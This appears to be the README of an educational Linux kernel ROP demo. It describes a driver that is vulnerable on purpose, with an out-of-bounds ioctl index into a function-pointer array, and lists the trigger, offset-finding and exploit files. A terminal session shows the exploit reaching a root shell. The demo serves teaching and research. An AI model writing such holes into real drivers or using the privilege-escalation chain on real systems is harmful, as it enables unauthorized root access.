kernel_rop/README.md

43 lines
1.6 KiB
Markdown
Raw Normal View History

2016-01-20 04:06:35 +00:00
# Linux Kernel ROP demo
2016-01-19 11:57:11 +00:00
This is a vulnerable Linux kernel driver used to demonstrate in-kernel
privilege escalation ROP (Return Oriented Programming) chain in practice. The
article URL for Part 1 is available at
<https://cyseclabs.com/page?n=17012016>.
The driver module is vulnerable to OOB access and allows arbitrary code
execution. An arbitrary offset can be passed from user space via the provided
ioctl(). This offset is then used as the index for the 'ops' array to obtain
the function address to be executed.
* drv.c - vulnerable kernel driver
* trigger.c - user-space application to trigger the OOB access via the provided
ioctl
2016-06-23 00:29:49 +00:00
* find_offset.py - helper script for finding the correct offset into the "ops" array
* rop_exploit.c - ROP exploit for the "drv.c" kernel driver
2016-01-20 04:06:35 +00:00
The goal is to construct and execute a ROP chain that will satisfy the
following requirements:
* Execute a privilege escalation payload
* Data residing in user space may be referenced (i.e., "fetching" data from
user space is allowed)
* Instructions residing in user space may not be executed
2016-06-23 00:29:49 +00:00
```
vnik@ubuntu:~$ dmesg | grep addr | grep ops
[ 244.142035] addr(ops) = ffffffffa02e9340
vnik@ubuntu:~$ ~/find_offset.py ffffffffa02e9340 ~/gadgets
offset = 18446744073644231139
gadget = xchg eax, esp ; ret 0x11e8
stack addr = 8108e258
vnik@ubuntu:~/kernel_rop/vulndrv$ gcc rop_exploit.c -O2 -o rop_exploit
vnik@ubuntu:~/kernel_rop/vulndrv$ ./rop_exploit 18446744073644231139 ffffffffa02e9340
array base address = 0xffffffffa02e9340
stack address = 0x8108e258
# id
uid=0(root) gid=0(root) groups=0(root)
#
```